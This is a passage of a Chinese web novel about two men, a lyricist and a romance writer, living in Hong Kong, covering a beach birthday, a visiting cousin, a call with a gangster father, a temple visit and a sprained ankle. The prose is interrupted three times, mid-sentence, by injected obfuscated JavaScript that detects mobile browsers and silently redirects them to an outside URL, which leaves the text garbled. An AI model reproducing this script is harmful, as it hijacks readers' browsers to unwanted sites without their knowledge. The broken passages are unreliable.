“好吧,”江扩说,“不过在这之前,你得跟我去一个地方。” “哪?”黎念问。 “济公庙。”江扩悠悠回答。 “去那干嘛?”黎念挑眉,第一次听江扩说要去求神拜佛的地方难免有些奇怪。 “求姻缘。”江扩傻笑。 今晚江扩貌似傻笑很多遍了......还跟个弱智一样。 黎念抬起手背去探江扩的额头,好像也没发烧。 江扩不耐烦地推开黎念的手,“写词需要,所以才去的。” 黎念想起下午的周某人梗,便拿起蛋糕叉子装作话筒采访江扩。 “你创作过多少词?”黎念一本正经问道。 “你说的是得奖的,还是总共的?”江扩也贱贱反问道。 “都不是。”黎念凑到江扩耳边轻轻吹气。 “那是什么?”江扩怔了。 “写给我的。”黎念说。 “八首。”江扩说罢,才感叹真是个好数字。 “那下一首,你也要写给我。”黎念说。 “你好贪心。”江扩叹了口气。 不过下一首江扩准备写一对求好姻缘却最后分道扬镳的爱情悲剧,这可不能写给黎念。他要写只能写跟黎念过好日子。 “你说海里有水母吗?”黎念问了个莫名其妙的问题的同时,整个头靠到江扩肩膊上来回蹭。 “应该有。”江扩此刻还没反应过来。 “你觉得水母半透明的像一种什么东西?”黎念又凑到江扩耳旁问,“我们是不是该回帐篷了?” “嗯?”江扩叼着烟眨了眨眼。 “睡觉!”黎念撒娇般嗔道。 江扩这才反应过来,套套还有其他啥的都还在包里好好藏着。 “想做就说,用不着这么拐弯抹角。”江扩哼了一声。 “那做吗?”黎念又到江扩耳旁,暧昧的鼻息扫过江扩耳廓。 “不做。”江扩说。 “不行,今天我生日,你必须听我的。”黎念急了。 江扩拿起手机看了眼时钟,已经过了零时,黎念的第二十六个生日圆满结束。 “不算数了。”江扩把屏幕亮着给黎念看。 “说好做的。”黎念一手打掉手机,手机差点掉到岩石下面和亲爱的大海同眠共枕。 江扩瞪大眼睛。 “我踏马手机还要不要了?”江扩骂骂咧咧捡起手机。 “做。”黎念一脸坚定。 “叫我一声好听的,我就做。”江扩想趁机占点便宜。 黎念本想熟练叫声老公,思考片刻后为了激起江扩欲望,又换了个名儿。 “主人。”黎念咬了一下江扩耳垂,又伸出手揉了几下。 江扩只觉一阵妖异不可言说的电流从脚底穿透到头顶,猛地伸手拎住黎念的衣领。 “走吧小狗。”江扩收拾完各种过生日的物件残骸,带黎念一齐跳下岩石。 “去哪儿啊主人?”黎念一边跟头牛似的被拽着走,一边明知故问。 “帐篷,”江扩简单回答道,“日狗。” 良久帐篷亮起一盏昏黄的小灯。这野营帐篷隔音还算可以,从外边儿只听得见隐隐约约的喘息与时不时的哀嚎求饶,根本看不出里面俩大男人在做什么。 隔天黎念被江扩突然挥过来的拳头猛然间砸醒。转头正想对江扩一顿劈头盖脸的白话粗口,才发现江扩只是翻了个身,这会还在小声打呼噜。 大哥沉睡的样子,真是人畜无害又...... 黎念端详很久江扩的睡容,才拿起旁边插着充电宝的手机看时间,五点。 闹钟还没响,外边能看得出天已经蒙蒙亮,应该也快日出了。 黎念放下手机,凝视无名指上的9999块港元良久,才推了推旁边江扩躺着的睡袋。 “大哥。”黎念唤道。 “嗯?”江扩艰难地翻了个身。 “起床了,看日出了。”黎念说。 “你自己看吧,”江扩不耐烦地闭上眼,“老子人都快干没了,老子要睡觉。” “必须看。”黎念还不死心,强行拉起江扩把人连同整个睡袋拖到帐篷外面一扔,自己则到旁边坐下。 “黎大福我扑领母。”江扩骂骂咧咧从睡袋爬起来,不经意间瞥见海平线上一抹晨曦。 愣愣看了几秒,江扩果断翻了个身闭上眼睛。 几秒后又猝然睁开,叹息一声钻出睡袋。肩膀让黎念靠着。 “这是我们看的第十八个日出。”黎念说。 “记这么清?”江扩都忘了。 “你记性确实不太好。”黎念说。 “我只是该记的才记。”江扩反驳。 “我要集满一百个日出。”黎念喜滋滋道。 “哦?”江扩挑眉,“就像当年你车大炮要集满一百个男朋友一样吗?” “啧,”黎念推了江扩一把,“滚犊子。” 江扩笑完,见黎念染的蓝色发尾有些褪色,又手痒去碰了碰。 “该整整了,都褪色了。”江扩说。 “明天就去染。”黎念说。 直到阳光洒满整个海滩,黎念才爬进帐篷找牙刷。翻了半天愣是啥都没找到。 “大哥。”黎念探出一个头,“牙刷呢?” “没带,忘了。”江扩淡淡回答。 “您狗饼干都带了,连这个都能忘?”黎念无奈。 “您是想要用海水那玩意刷牙漱口吗?”江扩说,“回家刷。” 黎念本想着刷完牙把口气弄清新点来接吻,可浪漫。没漱口的工具便只好作罢。 海滩上的游客越来越多,二人终于收拾完帐篷和行李搭车回了家。 下车时,黎念还在欣赏自己无名指上9999蚊的玩意儿,倒是江扩在公寓电梯口处见到一个拖着行李箱的陌生女孩,正打紧电话。 “是弄,找着凹,但是我兄矮肖无在内哩(是啊,找到了,但是我哥好像不在家啊)。”女孩用江扩早已有些陌生的潮汕话跟电话那头的人聊天。 江扩被这标准的揭阳口音听得一愣一愣。 跟黎念站到旁边等电梯的时候,江扩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722023|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试问一句。 “你是潮汕人?”江扩问。 “你是江扩?”女孩眼前一亮,“吕个鸟卵兄(你是鸟蛋哥)?” 江扩瞪大眼睛脸色涨红,这是他这么多年来第一次听见人喊他在老家的外号。 “你是?”黎念见江扩神情怪异,不禁皱眉。 “芒果妹?”江扩顿时想起那个对着芒果树唱歌的堂妹。当时小伙伴给取这个外号的时候,江扩还纠结为什么要叫芒果妹而不叫歌手。 “对!我!”女孩表情夸张指着自己,“江楚红!” “你......”江扩打量江楚红许久,昔日傻乎乎的乐痴堂妹已经长成亭亭玉立的雅姿娘仔(潮汕话:漂亮姑娘),虽然表情还是傻笑得像个弱智。 “你怎么找到这来的?”江扩问。 “我找了三天,找到大伯的住址,又跟大伯要了你继妹的电话,才找到这来的。”江楚红终于切换成普通话回答。 江扩怔了几秒,黎念在旁边依旧一头雾水。 “上楼坐吧。”江扩说。 “她是谁啊?”电梯里,黎念凑在江扩耳旁偷偷问。 “堂妹。”江扩回答。 江楚红听见两人在后面的窃窃私语,不禁转过身饶有兴趣地打量黎念。 “你你你!”江楚红瞪大眼睛兴奋得像只马骝,“你是堂兄的男朋友是吧?一看就零里零气的。” 这么多年了过去,江楚红还是跟小时候一样口无遮拦。 “来来来,给你俩拍个照,发给我几个腐女朋友好好磕磕。”江楚红举起手机摄像头。 没等江扩答应就是一阵咔嚓,接着往腐女朋友的微信群里发了几张连环照。 “别拍了。”江扩不耐烦地拿手挡住脸。 ——练不好肖邦不改名:我草,这是你堂兄男朋友? ——上不了E6不改名:这不是黎小福吗? ——柴可夫司机:啥子?!你说啥子? ——忧伤的踏板:大家先别急,让阿楚给我们要几个签名~ 江楚红对着手机屏幕傻笑一番,才把手机塞进包里。 “你是那个耽美作家黎小福?”江楚红问。 “是的,”黎念笑道,“我的名声都传到潮汕那边去了吗?不错不错。” “不是,我们是川音的。”江楚红说,“宿舍几个都是腐女。” 电梯到楼层,几人陆续出电梯门。 “她们都是资深腐女,大陆的作品大部分扫荡完,这不,看上港澳台这边的耽美作品了,黎小福的小说就是其中之一。”江楚红说。 “你看过吗?”江扩问。 “没看过,我不是腐女,”江楚红说,“其实理由很简单,我懒不喜欢看书,就喜欢唱歌;实际上我是个十足的LGBTQ支持者......” 走廊传来江楚红的回声,江扩为了防止扰民,掏出钥匙开了出租屋的门。 “这么窄?”江楚红进去后环视一周,转头说,“我说鸟蛋哥,你俩一个著名词人,一个著名耽美作家,就住这玩意儿?” “香港房价高的离谱,”江扩关上门,“而且我们两个没有打算永久定居香港,过两年准备回大陆。” 黎念听见这个外号,傻愣愣在原地。 “什么鸟蛋?”黎念满脸难以置信。 “小时候堂兄处处都要比别人赢,弹弓也玩第一,爬树掏鸟蛋也第一,就连八岁时比赛谁尿得远也......” 江楚红准备把江扩小时候的糗事全盘托出,江扩风驰电掣地伸出双手捂住的江楚红还在喋喋不休的嘴。 “您别叫芒果妹了,”江扩嘴欠,“叫鸟嘴婶吧(潮汕特色外号)。” “哈哈哈哈哈哈哈......”黎念笑出一个大鼻涕泡。 44. 第 44 章 黎念笑完,跑去饭桌给几人倒水。 大福在房间的床上熟睡,听见声响后马上跳下床冲出来,对着两个主人身边的陌生女孩凶巴巴吠叫。 “啊......”江楚红缩起脚。 “大福,不行!”江扩轻轻扇了下大福的狗头,大福这回老实了。 “你俩养的狗?”江楚红抹汗。 “嗯,以前不这样的,”江扩两只手抱起大福,“可能见了陌生人,我们家很少来客人。” “那个谁?江收,”江楚红小心翼翼伸出一只手去摸大福,“她不是常来吗?” “去年她来了三次。”黎念在饭桌旁拿着水壶说。 “你怎么认识她的?”江扩愣了。 “我来香港四天了,根本找不到你,”江楚红一根根掰着手指,“后来我先在我爸那找到大伯家的地址,大伯说他不知道你住哪,还说好几年没见到你;然后他又给我你继妹的电话,这不才找到的。” “辛苦了辛苦了。”黎念端了两杯水过来。 “江广荣放屁!”江扩想起多少天前刚在金曲奖颁奖礼江广荣那个轻蔑又欠揍的笑,不禁骂了一声。 “你跟你爸关系不好吗?”江楚红畅饮一口温水,问江扩。 “不好。”黎念从厨房冰箱里拿出冰水,打开正想喝一口,又腾出来插嘴。 “为什么?”江楚红问。 “你不记得我是怎么来的香港?”江扩抢过黎念的冰水,往里面加了滚水后塞回给黎念,“老子当年被他和一群小弟抬上面包车,直接五花大绑来的海关,我可是一点都没忘。” “他好像得了帕金森。”江楚红突然说。 “嗯?”江扩跟黎念喝水的动作同时顿住。 “他自己说的?”江扩一声冷笑,“他就喜欢车大炮,话你别信。” “不是,我看他手好像抖得厉害。”江楚红蹙眉。 黎念的神色变得有些凝重。 “那更好,省得去外面祸害别人。”江扩很快调整情绪。 “他毕竟是你爸!”江楚红巴掌扇在江扩额头上。 这么多年从来没人敢这么大胆去扇江扩额头,甚至江扩本人还经常性去扇黎念的。江扩哀嚎一声。 “你知道他是做什么的吗?”江扩忍痛捂着额头。 “我是听我爸说过一些,但那毕竟是传闻......”江楚红摇头。 “不是传闻,他就是干那行的,除了黑还是黑,”江扩说,“随身带把玩意儿,有没有子儿我就不知道了,做各种非法交易,甚至噶过人,仇家十根手指连带十根脚趾都数不过来,我人之前在他老巢差点让他仇家一把火烧没了。” “这样的人,你不觉得他消失了更好吗?”江扩深吸了口气,抬头去凝视江楚红。 江楚红没办法共情,毕竟那不是她爸。但听罢江广荣随身带把玩意儿的时候,还是不由自主打了个冷颤。 “不管他以后生什么病,我都不想管他,反正我欠他的钱都还清了。”江扩冷冷道。 见江扩情绪不太对劲,黎念站在沙发后面朝江楚红比了个“嘘”,又比了个“stop”。 “你站我后面干嘛?”江扩转头去看黎念。 “没有啊。”黎念摇头。 大福盆里的狗粮已经空了,一只爪踩在黎念拖鞋上委委屈屈呜呜几声。 黎念只好走开,到狗窝旁边给大福添点狗粮和冻干。 江楚红接到黎念的手势,决定换个话题。黎念给大福倒完吃的,也过来在江扩身边坐下。 “你们接下来打算做啥?”江楚红问。 “一切妥了之后,我俩带大福回大陆去,”江扩指着黎念,“这货说想开个免费酒馆,我继续写我的歌词,他写他的耽。” “不是免费酒馆,”黎念啧了一声,“是可以用爱情故事换鸡尾酒的酒馆。” “那不就是免费。”江扩翻了个白眼。 “这就是你们在香港不买房不买车的原因吗?”江楚红竖起大拇指,“到时候你们开酒馆,我去给你们当驻唱,我可是川音流行声乐的。” “好。”江扩笑道。 虽然有莫约十几年没见到堂妹了,但也是一见如故。 “你呢,准备呆多久?”黎念问。 “我今晚就跟朋友回罗湖了。”江楚红说。 “对了,”江楚红从背包里掏出几张明信片和一支水笔,径直放到黎念面前,“签吧。” “嗯?”黎念挑眉。 “签笔名,我有三个舍友,你就签六个吧,”江楚红笑嘻嘻道,“其他备用,我看其他有没有人想要。” “你对你舍友可,真好。”黎念干笑。 “人情世故。”江楚红一本正经地道。 黎念叹了口气,接过纸在几张印着维港和旺角街头的明信片上签下清秀的笔名。 “好了。”黎念把几张明信片掇齐,放回到江楚红面前。 江楚红道了谢,匆匆把明信片塞回进包里。 江扩则对着手机里躺在最底层的一串未接陌生号码发呆。没记错的话,这串号码应该是江广荣的。 收起明信片没多久,江楚红的朋友打电话过来催促,只好匆匆打的士赶回葵涌的宾馆。 江楚红走后,江扩依旧看对着那串号码发呆。 “在想江广荣的事?”黎念摸着大福一边问。 “嗯。”江扩回答。 “是谁刚刚在堂妹面前说不想管他的。”黎念低着头继续摸狗。 “没说要管,但起码他帕金森严不严重得了解吧。”江扩捂着额头愈发不耐烦。 “那就问问?”黎念小心翼翼地道。这么多年过去,他早知道大哥是刀子嘴豆腐心。 最后江扩还是打开whatsapp,先联系江收问情况。 ——江扩:在吗?有件事问你。 ——江收:咩事啊哥 ——江扩:江广荣是不是得了帕金森? ——江收:我不清楚,好久没回去了,唔得闲。 ——江扩:你很久没回去? ——江收:我一个律师,他一个出来混的,我不把他送进去坐监就好彩了。 不知道什么时候开始,江收也在试着与江广荣划清界限。 江扩放下手机在沙发挣扎片刻,终于下定决心拨通那串陌生号码。 通了之后,江扩对着手机很敷衍地喊了声“喂”。 “不知道你叫谁。”江广荣继续用抖得厉害的手夹着根万宝路吞云吐雾。 “爸。”江扩皱着眉说。 “打电话给我|干什么?看我死没死吗?”江广荣呼出一口烟,这时手机不小心让手给抖落了,只好叼着烟低头捡起手机。 “能不能好好说话?”江扩愠道。 “能,”江广荣往垃圾桶吐了口老痰,“你堂妹告诉你的?” “帕金森?”江扩眉头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722024|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更紧了。 “嗯,不严重,吃药控制应该死不了,就是影响生活,”江广荣贱兮兮道,“特别是拿枪,现在我用那玩意儿都得手下帮忙。” “你就压根没想过走正行吗?”江扩只觉得一阵窒息。 “有啊,所以我现在准备开个公司,借我点钱。”江广荣说。 “没钱。”江扩趁黎念没注意,偷偷翻了个白眼。 “不借我就去再做几次生意,或者抢多几次银行,”江广荣说,“不管做不做得成,还不是被自己的儿子逼的。” “你个冚家铲还敢威胁我?”江扩彻底怒了,对着手机就是一通白话粗口输出。 黎念在旁边吓得肩膀一缩,也搞不明白一通单纯慰问的电话怎么会又戳中江扩的怒点。 “江广荣我告诉你,老子一分钱不少都还给你了,别再找我要钱,”江扩扒出插在黎念裤袋里的白万宝路,气冲冲点了一根,“不管你去外面捅出多大的篓子,都跟我一点关系都没有,你就算抢银行被抓去坐监,那也是你该,不要把自己的错误归结在别人身上。” “出来吃顿饭。”江广荣语气软了下来。 “痴线,不去。”江扩黑着脸挂了电话。 “怎么了?”黎念问。 “帕金森,不严重,”江扩捂着胸口喘几下,“死性不改,找我借钱开公司说不借他就去抢银行做生意,还说是我逼的。” “这种人早该在二三十岁的时候就进监狱了,为什么还能潇洒到现在?”江扩抬头一脸怒容,“为什么这个社会能允许这种人逍遥这么久?” “总有一天会进去的。”黎念安慰。 “从今天开始我不会再联系他,管他帕金森还是痴呆。”江扩深吸一口气,又缓缓吐出来。 江楚红回荃湾跟朋友回合之后,很快过海关回了罗湖,打电话给江扩两人报平安来了。 晚上两人在房间窝着。黎念用江扩送的键盘码字写小说,江扩趴在书桌写歌词。 写到一半,黎念似乎想起什么,爬到江扩书桌旁捡起一张A4纸,趴到枕头旁写东西。 “你写什么?”江扩把台灯移到黎念那边,凑过去看。 “不是要开个初见酒馆嘛,”黎念说,“我写一下酒馆的广告词。” 草草写完,黎念把满是清秀的黑色字体立起来给江扩看。 “初见酒馆~ 分享一段你的爱情故事,可免费获得酒馆两位老板亲自为你调制的专属鸡尾酒。 没有用爱情故事交换的酒,以正常价格售卖。 长岛冰茶,莫吉托,螺丝起子,僵尸,可乐桶,龙舌兰日出八折。 下面优惠至×月×日结束,爱情故事活动永远不会结束。” “你哪认识的这么多鸡尾酒?”江扩笑了。 “我认识的可多了,以前刚回港的时候在一个老调酒师那学了一点,”黎念说。 “有多老?”江扩又笑了。 “六十几岁了,港澳调酒大赛得过金奖的,”黎念说,“马枫,听说过不?” “ 不。”江扩对调酒并不感兴趣。 “前两年过身了。”黎念说。 “嗯。”江扩对调酒并不感兴趣,恰好黎念掀开被褥爬起来,只穿了件裤衩。 江扩俯身去堵上黎念的嘴。相比于酒,他更喜欢黎念的嘴唇。 三天后,江扩跟黎念终于得闲,准备启程去济公庙汲取灵感顺便求个姻缘。 45. 第 45 章 济公庙其实只是个极小的砖红色庙宇,座落在港岛上环山道的旧式民居里,阿伯阿嬷都称之为“广福祠”或者“百姓庙”,号称求姻缘最灵。离江扩家不远。 只不过求姻缘通常是一男一女,江扩并不确定俩男的灵不灵验。不过毕竟都是求一生一世一双人,想来也是可以的。 从地铁出来不久,两人漫步到济公庙。 此刻天上正下着绵绵小雨,两人打着同一把伞。这应该是香港这个春天的第一场雨,从刚出门开始便下得二人措手不及。 伞也是在路旁买的。 “听说哥哥跟唐生来过。”黎念望着钢梯架上张着的小庙说。 “这庙咁出名,来过也不奇怪。”江扩回答。 虽然下着小雨,济公庙还是依旧香火旺盛,来参拜祈福的人数不亚于平时。 在下面踱步半刻,江扩才跟黎念走上台阶,穿过“百姓庙”三个大字,来到门口。 “我看看网上怎么说的。”黎念拿手机刷济公庙的帖子。 “是不是要求姻缘?”里面一个阿婆问。 “是。”江扩回答。 “往这里走。”阿婆给两人指了条路。 此刻几个香客求完姻缘,在手腕上戴上红绳离开了。 两人跟随一个阿婆的指路,走到最里面。 当然就是先烧香,香烛到庙旁的小贩那买。 虽然香港这个社会还算开放,但俩男的一起跪下烧香还是让江扩有些怕羞。 黎念率先跪在蒲团上时,江扩才深吸口气跪了下去。 烧完香,再把自己的心爱之人或者祈祷词写在卡片上,系上红绳挂在高处。 写名字的时候,江扩鬼使神差地凑到黎念旁边偷看。 “看什么,看我写的是不是你吗?”黎念调侃道。 “对啊。”江扩笑道。 “你就这么不信任我。”黎念嘟囔。 “我只是想看看你的字,”江扩说,“你看你写的多漂亮。” “就你嘴甜。”黎念啧了一声,又转头去看江扩写的。 “你这写的什么?”黎念嘴角抽搐。 “中文,你的名字,还有一小行字。”江扩回答。 “我特么不信神明看得懂。”黎念见一大坨黑色的蚯蚓体,忍不住说。 “很难看?”江扩反问。 “很好看吗?”黎念直摇头,把红绳挂上了。 江扩也把字给系上了,还专登系到黎念那块旁边,生怕神明看不到他俩是一起的。 挂完红绳,黎念抬头便被头顶成千上万的祈祷卡震撼到了。 “这里面不知道有没有Leslie的?”江扩也随机问道。 “找找?”黎念抬起一只手去拨弄。 认认真真找了好几个,还专挑发旧发黄的找,黎念愣是找不出一张和哥哥相关的。大概早就老化断掉了。 最后就到了求红绳的环节。 江扩在讲出他俩是一对的时候,还有些尴尬,倒是黎念没羞没臊地就把江扩搂过来。 “两个男人?”阿婆摇头,“已经不稀奇咯,去年也来了一对,今年来过两个女人。廿卅几年前第一次来的两个男人,你们知道是谁?大明星喔!” 江扩黎念两个都心知肚明那个大明星是谁。 求得两根开光的红绳后,二人分别都把红绳系在左手手腕。 离开济公庙的时候,还在下着小雨。 江扩撑起一把伞和黎念并肩走着,黎念时不时抬手看手腕上的红绳,还有江扩的。 “好看吧。”黎念晃了晃红绳的小尾巴。 “好看。”江扩回答。 雨越下越大,江扩的一边肩膀已经微微浸湿。附近有家茶餐厅又恰巧到了中午。 为了不被弄成落汤鸡,江扩看都没看招牌就把黎念拖进去。 “干嘛?”黎念问。 “你不饿吗?”江扩找了个位置拉着黎念坐下。 招牌上的菜大多都跟香港其他茶餐厅差不多,江扩便让黎念点了几道熟悉的。 “这没有西多士。”黎念看着菜单上的名字小声说。 “少吃一次又不会怎样。”江扩无奈道。 让黎念点完菜后,江扩拿出手机发现有几个未接电话,还是江广荣的。时隔多年,江广荣这个冚家铲还是总缠着他。 江扩白了手机号码一眼,反手就把号码加入黑名单。 “这红绳系上去,咱俩这辈子可能就分不开了。”黎念盯着手腕上的红绳微微笑道。 “你很希望咱俩分开吗?”江扩一边把碗筷扔进盆里拿开水烫,一边不忘调侃黎念。 “谁说的?”黎念啧了一声。 “你自己说的,”江扩把泡干净的一双碗筷放到黎念面前,“正常人不想分开会说‘就不用分开了’,而你说的是‘就分不开了’。不觉得奇怪吗?” “咬文嚼字。”黎念不爽。 “港大文学院硕士嘛,”江扩用欠揍的语气道,“咬文嚼字正常的。” 几道菜上来,黎念迫不及待想尝尝自己喜欢的另一道菜虾饺,这是他来茶餐厅最喜欢点的第二道经典菜。 “好吃。”黎念嚼着一颗虾饺一边点头称赞。 “多吃几颗。”江扩又夹了两颗虾饺在黎念碗里。 越近中午,茶餐厅的生意越是火热,江扩耳边充斥着小孩哭声和大人的唠嗑声。这家店允许带宠物进门,甚至还有两条宠物狗互相看不顺眼的吠叫。 倒是黎念没有理会这些,仿佛早就习惯这种嘈杂的环境。 “告诉你件事,”黎念咬了片烧鹅,“其实早在两年前,我在一本小说就已经提起过济公庙。” “哦?”江扩淡定看了黎念一眼,“灵感从哪来?该不会早就和你的第N个前男友来过了吧。” “来过,就跟我姐一起来,她想求姻缘。那个时候还不认识你。”黎念说。 “没跟哪个前男友来过?”江扩依旧半信半疑。 “我黎念对天发誓,绝对没有。”黎念举起一只手一本正经道。 此刻外边雨势变小。经过几个从大陆来旅游的女大学生,正对着铁梯上的济公庙拍照留念。 几位女孩都是混耽圈的资深腐女,自从看了香港一个耽美作家的小说便对济公庙念念不忘。 这不逮到个机会来了香港,顺便看看那个叫黎小福的作家是不是耽圈的资深腐女所说的在港岛居住。 转了几天没见着人,只好来济公庙拍个照做留念,顺便求个姻缘保佑自己早日找到属于自己的白马王子。 回时见路边的茶餐厅出来俩男人,其中一个留着狼尾卷发,发尾大概染的是蓝色,但这会严重褪色已经成了浅绿。 虽然听说黎小福留的正是狼尾卷发,发尾也是蓝色的。但单凭发型也认不出人,毕竟这个发型满大街是。 但既然几人今天就要回大陆,干脆死马当活马医,商量片刻便气势汹汹朝这里追过来。 “跑!”黎念见几个陌生女子气势汹汹冲上来,情急之下拉着江扩撒腿就跑。 “什么?江广荣?”江扩被这出整得脑子发懵。 “几个女的追我们! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722025|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看起来不像是好事。”黎念压低声音回答。 “你书迷。”江扩匆匆回头看了一眼,见其中一人身上背着黎小福小说中一个角色的痛包,无奈中扯住黎念的衣袖慢下脚步。 “你怎么知道?”黎念直喘粗气。 “看到那个痛包了吗?”江扩一脸平淡等那几个女学生追上来。 几个女学生在隔着几百米的地方停下,用好奇的目光打量那个狼尾卷发的男人,半晌都没一人敢上来问。 黎念等不到几人过来,只好拉着江扩走过去。 “自己去。”江扩甩开黎念的手。 黎念无奈上前。 江扩在远处望着黎念跟几个女生交流,见黎念一只手指向江扩这边,又亲眼目睹那几个女生陆续发出惊叹。 拍照留念顺带签个名后,几个女生才放黎念走。 “专门从大陆过来找我的。”黎念赶回到江扩身边,“还知道我住在港岛有个男朋友,肯定是你堂妹说出去的。” “她小时候就这样,不然怎么会让人取个外号叫鸟嘴妹。”江扩点了根烟。 回家之后,大福一直冲俩主人撒娇,时不时还冲房间那头吠叫。 “大福,咋了?”黎念俯身摸了摸大福的脑袋。 大福转了几个圈儿,又冲房间吠叫。 “不会是有贼吧。”黎念皱眉。 江扩进房间巡视一周,还是没发现有什么倪端。 “估计发情,”江扩俯身用贱兮兮的语气朝大福说,“明天就带你去绝育了。” 黎念进去房间只看到一点血迹在床底下。还真是发情了。 处理完血迹和大福身上的脏东西,黎念坐到沙发码字,江扩继续在书桌写歌词。 晚上房间关了灯漆黑一片,黎念在床头柜一通乱摸愣是找不出一个套。 “怎么不开灯?”江扩下床找了拖鞋去开灯。 开关一开,天花板上的灯忽闪忽闪了几下,接着砰一声脆响,整个房间陷入黑暗。 剩下两双迷茫的眼睛在黑暗中互看。 “坏了?”黎念问。 “听不出来吗?”江扩无奈回到床上。 黎念又在黑暗中终于摸到一个套,朝江扩晃了晃。 “吊!”江扩抢过套骂道。 隔天晚上,还是一个看似平凡的夜晚。 江扩不知道从哪借来一架老旧的人字木梯,拿着新买的灯正准备换灯泡。 “白天不换,偏偏这会乌漆麻黑的。”黎念拿着手机手电筒在木梯下面骂骂咧咧道。 “白天没空。”江扩抬头拧灯泡。 黎念又骂骂咧咧去客厅开了所有的灯给江扩勉强照明。 “喂。”江扩换完灯泡,朝下面的黎念唤道。 “什么?”黎念拿手机照江扩的脸,江扩下意识眯了眯眼。 “去试试看亮不亮。”江扩朝开关那边抬了抬下巴。 黎念走到旁边按下开关,整个房间瞬间明亮。 “OK。”江扩点点头似乎很满意,踩着木梯就要下来。 “小心别摔了。”黎念摸黑走过去帮忙。 江扩从不相信自己会这么衰,直到左脚踩到从下往上数的第四个踏板一声咔嚓后,才反应过来不妙。 “小心!”黎念失声吼道。 下一秒第四个踏板从中间开始断裂,继而随着整个人往下一扑。最后以下巴磕在第三个踏板上左脚脚踝扭伤的伤势结束这场惨剧。 “啊。”江扩捂住下巴,疼出来的生理泪水不知道是被扭伤的脚踝激的还是下巴的钝痛激的。 46. 第 46 章 大福睡梦中被江扩的惨叫吓了一跳,一溜烟钻进床底瑟瑟发抖。 “我草我草,”黎念瞳孔十级地震,撒腿就往江扩那儿冲,“脚没事吧?” 江扩试着抬了抬受伤那只脚,不禁抬起头疼得咬牙切齿。 “折了?”黎念颤着手去碰江扩的脚踝,被江扩一个激灵一手扇开。 “疼死了,别碰。”江扩咬着牙说。 “试试看能不能动。”黎念声音也是颤着的。 江扩调整了一下呼吸,试着转了转脚踝。已经鼓起一个乌青,但庆幸还能转。 “估计是扭伤了。”黎念搀着江扩一步步挪到床边坐下。 江扩忍着痛这会还想骂人,但这事儿不能怪谁,要怪也只能怪那张不争气的破梯和自己不争气的脚。憋了好久只好时隔多年又一次对着窗户用潮汕精髓指天骂地。 “走,上医院看看。”黎念把大福圈进笼子后,过来拿了件不要的衬衫包住江扩受伤的脚,又用胶带缠了几圈。 “好丑。”江扩无奈扶额。 “丑也好过二次伤害。”黎念骂骂咧咧扶起江扩。 “这已经是二次伤害了。”江扩忍痛的同时也不忘嘴贱。 “草。”黎念直接气笑了。 到楼下,黎念一挥手直接拦了辆的士,跟江扩一拐一瘸上了车。 “还疼不。”黎念把江扩那只伤脚架到自己大腿上。驾驶座的司机透过后视镜偷偷瞥了一眼。 “没跟刚那么疼了。”江扩说。 “这姻缘求了怎么感觉更衰了,”黎念嘟囔着去扒拉手腕上的红绳,“咦~不戴了不戴了。” “你敢!”江扩狠狠捶了一下黎念的手。 “开玩笑啫嘛。”黎念嘶一声缩回手。 完事儿江扩的脚踝又开始钝痛,只好捂着伤处一言不发。 到了附近的私立医院下车,黎念搀着江扩还了钱一拐一瘸往骨伤科走。江扩跳烦了干脆找在护士站借了辆轮椅坐了上去,让黎念在后面推。 “我说要不咱回去算算命吧,是不是求姻缘做错哪个环节导致变衰......”黎念在后面继续调侃。 “收皮啦你!”江扩咬牙切齿道,"你踏马好歹一个上过斯坦福的怎么还比我们潮汕人迷信呢?" “哦。”黎念委屈地吸了吸鼻子。 “还委屈上了?”江扩被脚痛弄得心里憋了一股火,“快带我去诊室,我脚要废了!” 黎念听罢推着轮椅就往诊室门口狂飙。 十几分钟后,黎念终于把江扩推到主治医生面前,一圈一圈扯开江扩脚上的胶带,连同整件衣服扔进旁边的垃圾桶。 “扭伤了?”医生浅浅看了眼江扩青肿的脚踝。 “嗯。”江扩犹犹豫豫地伸手想捂住丑陋的淤青,被医生皱眉一手扇开。 “看起来不严重,不过为了保障先开张单去拍个片。”医生给江扩开了单子。 “拍完上网查结果,然后再过来处理伤口。”主治医生说。 “上网?”江扩愣了几秒,下意识往衣兜摸手机。 扑街了,手机落家里。 “没带?”黎念跟江扩茫然的双眼对视许久,也往自己包里一掏,掏出自己的手机来。本想感叹一下好彩自己带了手机,结果却是没电黑屏的。 “身份证带未?”医生问。 “他大概带了,我没带。”江扩说。 毕竟自己是习惯性把身份证塞在手机壳里的,还被黎念说过几次。 “家属回家拿吧,你自己能去拍片吗?”医生问江扩。 “能。”江扩勉强点头。 “我回去拿手机。”黎念对江扩说。 